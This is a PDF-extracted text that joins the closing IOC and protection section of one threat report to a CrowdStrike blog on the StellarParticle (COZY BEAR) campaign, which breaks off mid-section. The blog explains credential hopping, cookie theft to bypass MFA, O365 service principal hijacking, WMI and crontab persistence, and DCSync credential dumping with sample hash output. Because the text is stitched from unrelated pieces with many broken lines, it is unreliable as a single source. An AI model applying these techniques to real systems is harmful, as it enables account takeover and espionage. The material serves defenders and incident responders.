Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the
execution of the malware detailed in this post. Try Secure Endpoint for free here.
Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects
malware used in these attacks.
Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat
actors as part of their campaign. You can try Secure Email for free here.
Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances
such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect
malicious activity associated with this threat.
20/22
Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network
traffic automatically and alerts users of potentially unwanted activity on every connected
device.
Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds
protection into all Cisco Secure products.
Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious
domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free
trial of Umbrella here.
Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks
potentially dangerous sites and tests suspicious sites before users access them.
Additional protections with context to your specific environment and threat data are
available from the Firewall Management Center.
Cisco Duo provides multi-factor authentication for users to ensure only those authorized are
accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the
latest rule pack available for purchase on Snort.org.
Snort rules for protection against this threat are: 59226 - 59230.
Orbital Queries
Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to
see if their endpoints are infected with this specific threat. For specific OSqueries on this
threat, click below:
Ligolo
SloughRat
IOCS
Maldocs
4b2862a1665a62706f88304406b071a5c9a6b3093daadc073e174ac6d493f26c
026868713d60e6790f41dc7046deb4e6795825faa903113d2f22b644f0d21141
7de663524b63b865e57ffc3eb4a339e150258583fdee6c2c2ca4dd7b5ed9dfe7
6e50e65114131d6529e8a799ff660be0fc5e88ec882a116f5a60a2279883e9c4
ef385ed64f795e106d17c0a53dfb398f774a555a9e287714d327bf3987364c1b
21/22
d77e268b746cf1547e7ed662598f8515948562e1d188a7f9ddb8e00f4fd94ef0
ed988768f50f1bb4cc7fb69f9633d6185714a99ecfd18b7b1b88a42a162b0418
c2badcdfa9b7ece00f245990bb85fb6645c05b155b77deaf2bb7a2a0aacbe49e
f10471e15c6b971092377c524a0622edf4525acee42f4b61e732f342ea7c0df0
cc67e663f5f6cea8327e1323ecdb922ae8e48154bbf7bd3f9b2ee2374f61c5d6
fb69c821f14cb0d89d3df9eef2af2d87625f333535eb1552b0fcd1caba38281f
202bf7a4317326b8d0b39f1fa19304c487128c8bd6e52893a6f06f9640e138e6
3fe9f94c09ee450ab24470a7bcd3d6194d8a375b3383f768662c1d561dab878d
cf9b1e0d17199f783ed2b863b0289e8f209600a37724a386b4482c2001146784
EXEs
a500e5ab8ce265d1dc8af1c00ea54a75b57ede933f64cea794f87ef1daf287a1
URLs
hxxp://185[.]118.164.195/c
hxxp://5[.]199[.]133[.]149/oeajgyxyxclqmfqayv
hxxp://5[.]199[.]133[.]149/jznkmustntblvmdvgcwbvqb
hxxp://88[.]119.170.124/lcekcnkxkbllmwlpoklgof
hxxp://88[.]119.170.124/ezedcjrfvjriftmldedu
hxxp://178[.]32.30.3:80/kz10n2f9d5c4pkz10n2f9s2vhkz10n2f9/gcvvPu2KXdqEbDpJQ33/
hxxp://178[.]32.30.3:80/kz10n2f9d5c4pkz10n2f9s2vhkz10n2f9/rrvvPu2KXdqEbDpJQ33/
hxxp://185[.]183.97.25/protocol/function.php
hxxp://lalindustries[.]com/wp-content/upgrade/editor.php
hxxp://advanceorthocenter[.]com/wp-includes/editor.php
hxxp://95[.]181.161.81/i100dfknzphd5k
hxxp://95[.]181.161.81/mm57aayn230
hxxp://95[.]181.161.81:443/main.exe
22/22
StellarParticle Campaign: Novel Tactics and Techniques
crowdstrike.com/blog/observations-from-the-stellarparticle-campaign
CrowdStrike Services - CrowdStrike Intelligence
January 27, 2022
StellarParticle is a campaign tracked by CrowdStrike as related to the SUNSPOT implant
from the SolarWinds intrusion in December 2020 and associated with COZY BEAR (aka
APT29, 
The Dukes
The StellarParticle campaign has continued against multiple organizations, with COZY
BEAR using novel tools and techniques to complete their objectives, as identified by
CrowdStrike incident responders and the CrowdStrike Intelligence team.
Browser cookie theft and Microsoft Service Principal manipulation are two of the novel
techniques and tools leveraged in the StellarParticle campaign and are discussed in this
blog.
Two sophisticated malware families were placed on victim systems in mid-2019: a Linux
variant of GoldMax and a new implant dubbed TrailBlazer.
Supply chain compromises are an increasing threat that impacts a range of sectors, with threat
actors leveraging access to support several motivations including financial gain (such as with
the Kaseya ransomware attack) and espionage. Throughout 2020, an operation attributed to
the Foreign Intelligence Service of the Russian Federation (SVR) by the U.S. government was
conducted to gain access to the update mechanism of the SolarWinds IT management software
1/22
and use it to broaden their intelligence collection capabilities. This activity is tracked by
CrowdStrike as the StellarParticle campaign and is associated with the COZY BEAR adversary
group.
This blog discusses the novel tactics and techniques leveraged in StellarParticle investigations
conducted by CrowdStrike. These techniques include:
Credential hopping for obscuring lateral movement
Office 365 (O365) Service Principal and Application hijacking, impersonation and
manipulation
Stealing browser cookies for bypassing multifactor authentication
Use of the TrailBlazer implant and the Linux variant of GoldMax malware
Credential theft using Get-ADReplAccount
Credential Hopping
The majority of StellarParticle-related investigations conducted by CrowdStrike have started
with the identification of adversary actions within a victim
s O365 environment. This has been
advantageous to CrowdStrike incident responders in that, through investigating victim O365
environments, they could gain an accurate accounting of time, account and source IP address
of adversary victimization of the O365 tenant. In multiple engagements, this led CrowdStrike
incident responders to identify that the malicious authentications into victim O365 tenants
had originated from within the victim
s own network.
Armed with this information, CrowdStrike investigators were able to identify from which
systems in these internal networks the threat actor was making authentications to O365. These
authentications would typically occur from servers in the environment, leading to natural
investigative questions: Why would a user authenticate into O365 from a domain controller or
other infrastructure server? What credentials were used as part of the session from which the
O365 authentication occurred?
This led our responders to identify the occurrence of 
credential hopping,
 where the threat
actor leveraged different credentials for each step while moving laterally through the victim
network. While this particular technique is not necessarily unique to the StellarParticle
campaign, it indicates a more advanced threat actor and may go unnoticed by a victim.
Below is an example of how a threat actor performs credential hopping:
Gain access to the victim
s network by logging into a public-facing system via Secure
Shell (SSH) using a local account <user sftp> acquired during previous credential theft
activities.
Use port forwarding capabilities built into SSH on the public-facing system to establish a
Remote Desktop Protocol (RDP) session to an internal server (Server 1) using a domain
service account.
2/22
From Server 1, establish another RDP session to a different internal server (Server 2)
using a domain administrator
s account.
Log in to O365 as a user with privileged access to cloud resources.
Figure 1. Example of 
credential hopping
 technique
This technique could be hard to identify in environments where defenders have little visibility
into identity usage. In the example shown in Figure 1, the threat actor leveraged a service
interactively, which should generate detections for defenders to investigate. However, the
threat actor could have easily used a second domain administrator account or any other
combination of accounts that would not be easily detected. A solution such as CrowdStrike
Falcon
 Identity Threat Detection would help identify these anomalous logons 
 and
especially infrequent destinations for accounts. (Read how CrowdStrike incident responders
leverage the module in investigations in this blog: Credentials, Authentications and Hygiene:
Supercharging Incident Response with Falcon Identity Threat Detection.)
But how had the threat actor succeeded in authenticating into victim O365 tenants, when
multifactor authentication (MFA) had been enabled for every O365 user account at each victim
organization investigated by CrowdStrike?
Cookie Theft to Bypass MFA
Even though the victims required MFA to access cloud resources from all locations, including
on premises, the threat actor managed to bypass MFA through the theft of Chrome browser
cookies. The threat actor accomplished this by using administrative accounts to connect via
SMB to targeted users, and then copy their Chrome profile directories as well as data
protection API (DPAPI) data. In Windows, Chrome cookies and saved passwords are
encrypted using DPAPI. The user-specific encryption keys for DPAPI are stored under
C:\Users\<user>\AppData\Roaming\Microsoft\Protect\ . To leverage these encryption
keys, the threat actor must first decrypt them, either by using the user account
s Windows
password, or, in Active Directory environments, by using a DPAPI domain backup key that is
stored on domain controllers.
Once the threat actor had a Chrome cookies file from a user that had already passed an MFA
challenge recently (for example, a timeout was 24 hours), they decrypted the cookies file using
the user
s DPAPI key. The cookies were then added to a new session using a 
Cookie Editor
Chrome extension that the threat actor installed on victim systems and removed after using.
Shellbags, Falcon Telemetry and RDP Bitmap Cache
3/22
From a forensic standpoint, the use of the Cookie Editor Chrome extension would have been
challenging to identify, due to the threat actor
s penchant for strict operational security. This
activity was identified via a NewScriptWritten event within Falcon when a JavaScript file
was written to disk by a threat actor-initiated Chrome process. This event captured the unique
extension ID associated with the extension, thereby allowing CrowdStrike incident responders
to validate via the Chrome Store that the JavaScript file was associated with the 
Cookie
Editor
 plugin. This extension permitted bypassing MFA requirements, as the cookies,
replayed through the Cookie Editor extension, allowed the threat actor to hijack the already
MFA-approved session of a targeted user.
Shellbags were also instrumental in identifying the cookie theft activity. This artifact very
clearly showed the threat actor accessing targeted users
 machines in sequence and browsing
to the Chrome and DPAPI directories one after another. Parsing Shellbags for an
administrative account leveraged by the threat actor resulted in entries similar to the below.
Figure 2. Shellbag artifacts showing targeting of Chrome directories
CrowdStrike identified forensic evidence that showed the entire attack path: browsing to a
target user
s Chrome and DPAPI directories via administrative share, installing the Cookie
Editor extension, and using Chrome to impersonate the targeted user in the victim
s cloud
tenants. The decryption of the cookies is believed to have taken place offline after exfiltrating
the data via the clipboard in the threat actor
s RDP session.
Figure 3. Representation of lateral movement to cookie theft to O365 authentication
4/22
CrowdStrike identified a similar TTP where the threat actor connected via RDP to a user
workstation with the workstation owner
s account (e.g., connecting via RDP to user1-pc using
the account user1). In cases where the user had only locked their screen and not signed out,
the threat actor was able to take over the user
s Windows session, as the RDP session would
connect to the existing session of the same user. By examining RDP Bitmap Cache files,
CrowdStrike was able to demonstrate that the threat actor had opened Chrome and exported
all of the user
s saved passwords as plaintext in a CSV file during these sessions.
Figure 4. RDP Bitmap Cache reconstruction showing exportation of
Chrome passwords
In addition, the threat actor visited sensitive websites that the user had access to, which in one
instance allowed them to browse and download a victim
s customer list. After this, the threat
actor navigated to the user
s Chrome history page and deleted the specific history items related
to threat actor activity, leaving the rest of the user
s Chrome history intact.
O365 Delegated Administrator Abuse
CrowdStrike also identified a connection between StellarParticle-related campaigns and the
abuse of Microsoft Cloud Solution Partners
 O365 tenants. This threat actor abused access to
accounts in the Cloud Solution Partner
s environment with legitimate delegated administrative
privileges to then gain access to several customers
 O365 environments.
By analyzing Azure AD sign-ins, CrowdStrike was able to use known indicators of compromise
(IOCs) to identify several threat actor logins to customer environments. These cross-tenant
sign-ins were identified by looking for values in the resourceTenantId attribute that did not
match the Cloud Solution Partner
s own Azure tenant ID.
CrowdStrike also identified a limitation within Microsoft
s Delegated Administration
capabilities for Microsoft Cloud Solution Partners. While a normal O365 administrator can be
provided dozens of specific administrative roles to limit the privileges granted, this same
5/22
degree of customization cannot be applied to Microsoft Cloud Solution Partners that use the
delegated administrator functionality in O365.
For Microsoft Cloud Solution Partners, there are only two substantial administrative options
today when managing a customer
s environment, Admin agent or Helpdesk agent .2 The
Helpdesk agent role provides very limited access that is equivalent to a password admin
role, whereas the Admin agent role provides broad access more equivalent to global
administrator. This limitation is scheduled to be resolved in 2022 via Microsoft
s scheduled
feature, Granular Delegated Admin Privileges (GDAP).3
User Access Logging (UAL)
The Windows User Access Logging (UAL) database is an extremely powerful artifact that has
played an instrumental role in the investigation of StellarParticle-linked cases. In particular,
UAL has helped our responders identify earlier malicious account usage that ultimately led to
the identification of the aforementioned TrailBlazer implant and Linux version of the GoldMax
variant.
The UAL database is available by default on Server editions of Windows starting with Server
2012. This database stores historical information on user access to various services (or in
Windows parlance, Roles) on the server for up to three years (three years minus one day) by
default. UAL contains information on the type of service accessed, the user that accessed the
service and the source IP address from which the access occurred. One of the most useful roles
recorded by UAL is the File Server role, which includes SMB access, though other role types
can also be very helpful. An overview of UAL, what information it contains and how it can be
leveraged in forensic investigations can be found here.
In multiple StellarParticle-related cases, because the threat actor used the same set of accounts
during their operations in the environment, CrowdStrike was able to identify previous
malicious activity going back multiple years, based solely on UAL data. Even though it
s only
available on Server 2012 and up, UAL can still be used to trace evidence of threat actor activity
on legacy systems as long as the activity on the legacy system involves some (deliberate or
unintentional) access to a 2012+ system. For example, in addition to tracking SMB activity,
UAL databases on Domain Controllers track Active Directory access.
This allowed CrowdStrike to demonstrate that a given user account was also authenticating to
Active Directory from a given source IP address two years prior. Because the user account was
known to have recently been abused by the threat actor, and the source IP of the system in
question was not one that account would typically be active on, the investigation led to the
source system and ultimately resulted in the timeline of malicious activity being pushed back
by years, with additional compromised systems even being discovered still running unique
malware from that time period.
TrailBlazer and GoldMax
6/22
Throughout StellarParticle-related investigations, CrowdStrike has identified two
sophisticated malware families that were placed on victim systems in the mid-2019 timeframe:
a Linux variant of GoldMax and a completely new family CrowdStrike refers to as TrailBlazer.
TrailBlazer
Attempted to blend in with a file name that matched the system name it resided on
Configured for WMI persistence (generally uncommon in 2019)
Used likely compromised infrastructure for C2
Masquerades its command-and-control (C2) traffic as legitimate Google Notifications
HTTP requests
TrailBlazer is a sophisticated malware family that provides modular functionality and a very
low prevalence. The malware shares high-level functionality with other malware families. In
particular, the use of random identifier strings for C2 operations and result codes, and
attempts to hide C2 communications in seemingly legitimate web traffic, were previously
observed tactics, techniques and procedures (TTPs) in GoldMax and SUNBURST. TrailBlazer
persists on a compromised host using WMI event subscriptions4 
 a technique also used by
SeaDuke 
 although this persistence mechanism is not exclusive to COZY BEAR.5
WMI event filter
SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA
'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 180 AND
TargetInstance.SystemUpTime < 480
WMI Event consumer
(CommandLineTemplate)
C:\Program Files (x86)\Common Files\Adobe\
<FILENAME>.exe
Filter to consumer
binding
CommandLineEventConsumer.Name="
<GUID1>"|__EventFilter.Name="<GUID2>"
Table 1. TrailBlazer WMI Persistence
In the obfuscated example above, TrailBlazer ( <FILENAME> .exe ) would be executed when
the system
s uptime was between 180 and 480 seconds.
GoldMax (Linux variant)
Attempted to blend in with a file name that matched the system name it resided on
Configured for persistence via a crontab entry with a @reboot line
Used likely compromised infrastructure for C2
GoldMax was first observed during post-exploitation activity in the campaign leveraging the
SolarWinds supply chain attacks. Previously identified samples of GoldMax were built for the
Windows platform, with the earliest identified timestamp indicating a compilation in May
2020, but a recent CrowdStrike investigation discovered a GoldMax variant built for the Linux
7/22
platform that the threat actor deployed in mid-2019. This variant extends the backdoor
known history and shows that the threat actor has used the malware in postexploitation activity targeting other platforms than Windows.
The 2019 Linux variant of the GoldMax backdoor is almost identical in functionality and
implementation to the previously identified May 2020 Windows variant. The very few
additions to the backdoor between 2019 and 2020 likely reflect its maturity and longstanding
evasion of detections. It is likely GoldMax has been used as a long-term persistence backdoor
during StellarParticle-related compromises, which would be consistent with the few changes
made to the malware to modify existing functions or support additional functionality.
Persistence was established via a crontab entry for a non-root user. With the binary named to
masquerade as a legitimate file on the system and placed in a hidden directory, a crontab entry
was created with a @reboot line so the GoldMax binary would execute again upon system
reboot. Additionally, the threat actor used the nohup command to ignore any hangup signals,
and the process will continue to run even if the terminal session was terminated.
Figure 5. Crontab entry for GoldMax persistence
Enumeration Tools/Unique Directory Structure
Throughout our StellarParticle investigations, CrowdStrike identified what appeared to be a
VBScript-based Active Directory enumeration toolkit. While the script
s contents have not
been recovered to date, CrowdStrike has observed identical artifacts across multiple
StellarParticle engagements that suggest the same or similar tool was used.
In each instance the tool was used, Shellbags data indicated that directories with random
names of a consistent length were navigated to by the same user that ran the tool. After two
levels of randomly named directories, Shellbags proved the existence of subdirectories named
after the FQDNs for the victims
 various domains. In addition, the randomly named directories
are typically created in a previously existing directory that
s one level off of the root of the C
drive. The randomly named directories have a consistent length where the first directory is six
characters and the next directory is three characters. To date, the names of the directories have
always been formed from lowercase alphanumeric characters. For example, Shellbags
indicated that directories matching the naming patterns below were browsed to (where 
a previously existing directory on the system):
C:\XX\[a-z0-9]{6}
C:\XX\[a-z0-9]{6}\[a-z0-9]{3}
C:\XX\[a-z0-9]{6}\[a-z0-9]{3}\domain.FQDN
C:\XX\[a-z0-9]{6}\[a-z0-9]{3}\domain-2.FQDN
8/22
In each case, immediately prior to the creation of the directories referenced above, there was
evidence of execution of a VBScript file by the same user that browsed to the directories. This
evidence typically came from a UserAssist entry for wscript.exe, as well as RecentApps entries
for wscript.exe (that would also include the VBScript filename). In addition, the Jump List for
wscript.exe contained evidence of the VBScript files. The name of the VBScript files varied
across engagements and was generally designed to look fairly innocuous and blend in. Two
examples are env.vbs and WinNet.vbs . Due to the subdirectories that are named after the
FQDNs for victim domains, CrowdStrike assesses with moderate confidence that the scripts
represent an AD enumeration tool used by the adversary.
Internal Wiki Access
Across multiple StellarParticle investigations, CrowdStrike identified unique reconnaissance
activities performed by the threat actor: access of victims
 internal knowledge repositories.6
Wikis are commonly used across industries to facilitate knowledge sharing and as a source of
reference for a variety of topics. While operating in the victim
s internal network, the threat
actor accessed sensitive information specific to the products and services that the victim
organization provided. This information included items such as product/service architecture
and design documents, vulnerabilities and step-by-step instructions to perform various tasks.
Additionally, the threat actor viewed pages related to internal business operations such as
development schedules and points of contact. In some instances these points of contact were
subsequently targeted for further data collection.
The threat actor
s wiki access could be considered an extension of 
Credential Hopping
described earlier. The threat actor established RDP sessions to internal servers using
privileged accounts and then accessed the wiki using a different set of credentials. CrowdStrike
observed the threat actor accessing the wiki as users who would be considered 
nonprivileged
 from an Active Directory perspective but had access to sensitive data specific to the
victim
s products or services.
At this time, the malicious access of internal wikis is an information gathering technique that
CrowdStrike has only observed in StellarParticle investigations. CrowdStrike was able to
identify the wiki access primarily through forensic analysis of the internal systems used by the
threat actor. Given the threat actor
s penchant for clearing browser data, organizations should
not rely upon the availability of these artifacts for future investigations. CrowdStrike
recommends the following best practices for internal information repositories:
Enable detailed access logging
Ensure logs are centralized and stored for at least 180 days
Create detections for anomalous activity such as access from an unusual location like a
server subnet
Enable MFA on the repository site, or provide access via Single Sign On (SSO) behind
9/22
O365 Built-in Service Principal Hijacking
The threat actor connected via Remote Desktop from a Domain Controller to a vCenter server
and opened a PowerShell console, then used the PowerShell command -ep bypass to
circumvent the execution policy. Using the Windows Azure Active Directory PowerShell
Module, the threat actor connected to the victim
s O365 tenant and began performing
enumeration queries. These queries were recorded in text-based logs that existed under the
path
C:\Users\<user>\AppData\Local\Microsoft\Office365\Powershell\ .
Similar logs (for Azure AD instead of O365) can be found under the path:
C:\Users\<user>\AppData\Local\Microsoft\AzureAD\Powershell\ .
While the logs didn
t include what data was returned by the queries, they did provide some
insight such as the user account used to connect to the victim
s O365 tenant (which was not
the same as the user the threat actor used to RDP to the vCenter server). The logs contained
commands issued and the count of the results returned for a specific command. The
commands included enumeration queries such as:
ListAccountSkus
ListPartnerContracts
ListServicePrincipals
ListServicePrincipalCredentials
ListRoles
ListRoleMembers
ListUsers
ListDomains
GetRoleMember
GetPartnerInformation
GetCompanyInformation
In this case, however, the most significant and concerning log entry was one that indicated the
command AddServicePrincipalCredentials was executed. By taking the timestamp that
the command was executed via the PowerShell logs on the local system, CrowdStrike analyzed
the configuration settings in the victim
s O365 tenant and discovered that a new secret had
been added to a built-in Microsoft Azure AD Enterprise Application, Microsoft StaffHub
Service Principal, which had Application level permissions. Further, the newly added
secret was set to remain valid for more than a decade. This data was acquired by exporting the
secrets and certificates details for each Azure AD Enterprise Application.
The Service Principal (now renamed to Microsoft Teams Shifts ) had the following
permissions at the time the configuration settings were collected:
10/22
Member.Read
Member.Read.All
Member.ReadWrite
Member.ReadWrite.All
Shift.Read
Shift.Read.All
Shift.ReadWrite
Shift.ReadWrite.All
Team.Read
Team.Read.All
Team.ReadWrite
Team.ReadWrite.All
User.Read.All
User.ReadWrite.All
WebHook.Read.All
WebHook.ReadWrite.All
CrowdStrike was unable to find Microsoft documentation, but based on open-source research,7
this application likely had the following permissions around the time of registration:
Mail.Read
Group.Read.All
Files.Read.All
Group.ReadWrite.All
The most notable permissions above are the Mail.Read , Files.Read and
Member.ReadWrite permissions. These permissions would allow the threat actor to use the
Microsoft Staffhub service principal to read all mail and SharePoint/OneDrive files in the
organization, as well as create new accounts and assign administrator privileges to any account
in the organization.
By running the commands from within the victim
s environment, MFA requirements were
bypassed due to conditional access policies not covering Service Principal sign-ins at this point
of time.8 However, as explained earlier, the threat actor managed to continue to access the
victim
s cloud environment even when the victim enforced MFA for all connections regardless
of source.
While the bulk of the evidence for this activity came from the text-based O365 PowerShell logs,
the NTUSER.DAT registry hive for the user that was running the PowerShell cmdlets also
included information on the accounts that were used to authenticate to the cloud. This
information was stored under the registry path. Below is an example of the registry data:
11/22
Figure 6. Example registry entry showing target O365 email accounts
The same WSMan connection string was also located in the user
s NTUSER.DAT registry hive
under the path:
Figure 7. WSMan connection string registry location
While not strictly related to the O365 PowerShell activity, the Windows Event Log
Microsoft-Windows-WinRM%4Operational.evtx also included information on connection
attempts made to external O365 tenants. This information was logged under Event ID 6.
Below is an example of what the event included:
Figure 8. Windows Event Log entry showing connection to O365 tenants
O365 Company Service Principal Manipulation
The threat actor also deployed several layers of persistence utilizing both pre-existing and
threat actor-created Service Principals with the ultimate goal of gaining global access to email.
Attacker-created Service Principal
First, the threat actor used a compromised O365 administrator account to create a new Service
Principal with a generic name. This Service Principal was granted company administrator
privileges. From there, the threat actor added a credential to this Service Principal so that they
could access the Service Principal directly, without use of an O365 user account.
These actions were recorded in Unified Audit Logs with the following three operation names:
Add service principal
Add member to role
Add service principal credentials.
Update Service Principal
Company-Created Service Principal Hijacking
Next, the threat actor utilized the threat actor-created Service Principal to take control of a
second Service Principal. This was done by adding credentials to this second Service Principal,
which was legitimately created by the company. This now compromised company-created
Service Principal had mail.read graph permissions consented on behalf of all users within
the tenant.
12/22
This action was recorded by just one operation type in Unified Audit Logs. This operation type
is named Add service principal credentials .
Mail.Read Service Principal Abuse
Finally, the threat actor utilized the compromised Service Principal with the assigned
mail.read permissions to then read emails of several different users in the company
environment.
CrowdStrike was able to use the Unified Audit Logs
 (UAL) MailItemsAccessed operation
events to see the exact emails the threat actor viewed, as the majority of the users in the tenant
were assigned O365 E5 licenses. When performing analysis on the UAL, CrowdStrike used the
ClientAppId value within the MailItemsAccessed operation and cross-correlated with
the Application ID of the compromised service principal to see what activities were performed
by the threat actor.
O365 Application Impersonation
Another consistent TTP identified during StellarParticle investigations has been the abuse of
the ApplicationImpersonation 9 role. When this role was assigned to a particular user that
was controlled by the threat actor, it allowed the threat actor to impersonate any user within
the O365 environment. These impersonated events are not logged verbosely by the Unified
Audit Logs and can be difficult to detect.
While the assignment of these ApplicationImpersonation roles were not logged in the
Unified Audit Logs, CrowdStrike was able to identify this persistence mechanism via the
management role configuration settings, which can be exported with the Exchange PowerShell
command:
Get-ManagementRoleAssignment -Role ApplicationImpersonation .
CrowdStrike then analyzed the exported configuration settings and identified several users
(not service accounts) that the threat actor likely gave direct ApplicationImpersonation
roles during the known periods of compromise.
Remote Tasklist
The threat actor attempted to remotely list running processes on systems using
tasklist.exe . As tasklist uses WMI 
under the hood,
 this activity was captured by Falcon
as SuspiciousWmiQuery events that included the query and the source system. Additionally,
the failed (not successful) process listing resulted in a DCOM error that was logged in the
System.evtx event log under Event ID 10028. A sample of the information included with this
event is below:
13/22
Figure 9. Event ID 10028 showing failed execution of remote tasklist
This remote process listing was consistently used by the threat actor targeting the same or
similar lists of remote systems, and the owners of the targeted systems also happened to be the
individuals with cloud access that the threat actor was interested in. While unproven, it
possible the threat actor was running tasklist remotely on these systems specifically to see
which of the target systems was running Google Chrome. This is because a current or recent
Chrome session to the victim
s cloud tenants would be potentially beneficial in the hijacking of
sessions that the threat actor performed in order to access the victim
s cloud resources.
FTP Scanning/Identity Knowledge
In one instance, after being evicted from a victim environment, the threat actor began probing
external services as a means to regain access, initially focusing on (S)FTP servers that were
internet-accessible. Logs on the servers indicated that the threat actor attempted to log in with
multiple valid accounts and in several cases was successful. There was little to no activity
during the (S)FTP sessions. This likely was an exercise in attempting to identify misconfigured
(S)FTP accounts that also had shell access, similar to what
s described in the Credential
Hopping section earlier. Some of the accounts used were not in the victim
s Active Directory,
as these were accounts for customers of the victim and stored in a separate LDAP database.
However, the threat actor had knowledge of these accounts and used them on the correct
systems, which further confirmed that the threat actor had advanced knowledge of the victim
environment.
After confirming the FTP accounts did not provide shell access into the environment, the
threat actor began attempting to connect into the environment via VPN. The threat actor
attempted to log in to the VPN using several user accounts but was prevented from connecting,
either due to not having the correct password, or due to having the correct password but not
getting past the recently implemented MFA requirement. Eventually, the threat actor
attempted an account that they had the correct password for but that had not been set up with
MFA. This resulted in a prompt being displayed to the threat actor that included an MFA setup
link. The threat actor subsequently set up MFA for the account and successfully connected to
the victim
s network via VPN.
TA Masquerading of System Names
During the attempted and successful VPN authentications described above, the threat actor
ensured the hostname of their system matched the naming convention of hostnames in the
victim
s environment. This again showed a strong knowledge of the victim
s internal
environment on the part of the threat actor. Not only did the masqueraded hostnames follow
the correct naming convention from a broad perspective, they were also valid in terms of what
14/22
would be expected for the user account the threat actor leveraged (i.e., in terms of the site
name and asset type indicated in the hostname). This masqueraded hostname technique has
been observed at multiple StellarParticle-related investigations.
Credential Theft Using Get-ADReplAccount
In one example, the threat actor connected into the victim
s environment via a VPN endpoint
that did not have MFA enabled. Once connected to the VPN, the threat actor connected via
Remote Desktop to a Domain Controller and copied the DSInternals10 PowerShell module to
the system. The threat actor subsequently ran the DSInternals command GetADReplAccount targeting two of the victim
s domains. This command uses the Microsoft
Directory Replication Service (MS-DRSR) protocol and specifically the
IDL_DRSGetNCChanges method to return account information from Active Directory such as
the current NTLM password hashes and previous password hashes used for enforcing
password reuse restrictions. A common name for this particular technique is DCSync.11
An example output from Get-AdReplAccount is below:
15/22
DistinguishedName: CN=TestUser,OU=Admins,OU=Users,DC=demo,DC=local
Sid: S-1-5-21-1432446722-301123485-1266542393-2012
Guid: 12321930-7c05-4011-8a3e-e0b9b6e04567
SamAccountName: TestUser
SamAccountType: User
UserPrincipalName: TestUser@demo.local
PrimaryGroupId: 513
SidHistory:
Enabled: True
UserAccountControl: NormalAccount
AdminCount: True
Deleted: False
LastLogonDate: 12/2/2021 1:41:46 PM
DisplayName: TestUser
GivenName: Test
Surname: User
Description: Admin Account
ServicePrincipalName:
SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent,
DiscretionaryAclAutoInherited, SystemAclAutoInherited, DiscretionaryAclProtected,
SelfRelative
Owner: S-1-5-21-1432446722-301123485-1266542393-512
Secrets
NTHash: 84a058676bb6d7de4237e18f09b91156
LMHash:
NTHashHistory:
Hash 01: 84a058676bb6d7de4237e18f09b91156
Hash 02: e047ebb3b7c463928c928fca95ac0ac8
Hash 03: 6dc3cdb3e559ef00d3521351ace7477e
Hash 04: a88355849f35fe7336de23a4ca3e6a9e
Hash 05: de9bde95677672295349aa6e1e857704
LMHashHistory:
Hash 01: 12227358dd7013c7dbdbd8fdcc0c6668
Hash 02: 6a028636a6f52491424586bb88357f7c
Hash 03: c13ef7347853dc3be7e7259fdc8818a1
Hash 04: 6635151746869ce485246037747adae1
Hash 05: 85543f498b007e07a3da662c8a9d450b
SupplementalCredentials:
ClearText:
NTLMStrongHash: de164e3465f163e846a5e1c22a5ac649
Kerberos:
Credentials:
DES_CBC_MD5
Key: 0013364f00003915
DES_CBC_CRC
Key: 0013364f00003915
OldCredentials:
DES_CBC_MD5
Key: 00002a46000004bc
DES_CBC_CRC
Key: 00002a46000004bc
Salt: demo.localTestUser
Flags: 0
KerberosNew:
Credentials:
AES256_CTS_HMAC_SHA1_96
16/22
Key: afd4d60e8d0920bc2f94d551f62f0ea2a17523bf2ff8ffb0fdade2a90389282f
Iterations: 4096
AES128_CTS_HMAC_SHA1_96
Key: f67c2bcbfcfa30fccb36f72dca22a817
Iterations: 4096
DES_CBC_MD5
Key: 00002f34000004ee
Iterations: 4096
DES_CBC_CRC
Key: 00002f34000004ee
Iterations: 4096
OldCredentials:
AES256_CTS_HMAC_SHA1_96
Key: b430783ab4c957cf6a03d3d348af27264c0d872932650ffca712d9ebcf778b9f
Iterations: 4096
AES128_CTS_HMAC_SHA1_96
Key: dc34bfd5e469edbeada77fac56aa35ae
Iterations: 4096
DES_CBC_MD5
Key: 0000345400000520
Iterations: 4096
DES_CBC_CRC
Key: 0000345400000520
Iterations: 4096
OlderCredentials:
AES256_CTS_HMAC_SHA1_96
Key: 26efd3593712e555f8366bb4b8aff097d09acd93c3a1b6d4ea03c578aad9e087
Iterations: 4096
AES128_CTS_HMAC_SHA1_96
Key: c38dfbd6c00b5f3b010a07f9e824fc38
Iterations: 4096
DES_CBC_MD5
Key: 000039a500000551
Iterations: 4096
DES_CBC_CRC
Key: 000039a500000551
Iterations: 4096
ServiceCredentials:
Salt: demo.localTestUser
DefaultIterationCount: 4096
Flags: 0
WDigest:
Hash 01: 83ed141ab0eaf1ff7694147ba97e1994
Hash 02: e73a8c05d4a7df53774bfa7ef8f0f574
Hash 03: 0c228c5816a79e561d999d489499a12a
Hash 04: 83ed141ab0eaf1ff7694147ba97e1994
Hash 05: e73a8c05d4a7df53774bfa7ef8f0f574
Hash 06: 4e7c5ec6ffb6100f0c7f0bc57749bc93
Hash 07: 83ed141ab0eaf1ff7694147ba97e1994
Hash 08: 10265b08a3bb710da516832eaf64368a
Hash 09: 10265b08a3bb710da516832eaf64368a
Key Credentials:
Credential Roaming
Created:
Modified:
Credentials:
17/22
Figure 10. Get-ADReplAccount example output
When executing the Get-ADReplAccount command, the threat actor specified the AD
context to be targeted via the NamingContext parameter. This was necessary, as the threat
actor was targeting multiple domains. The resulting output of each command was redirected
to a text file and compressed as zip archives before exfiltration.
The fact that Get-ADReplAccount command includes not only the current NTLM hashes but
also the hash history (i.e., hashes of previous passwords used by a user account) meant that
the threat actor also had the ability to discover accounts that either reused the same passwords
or used similar passwords when the account password was changed.
Credential Refresh
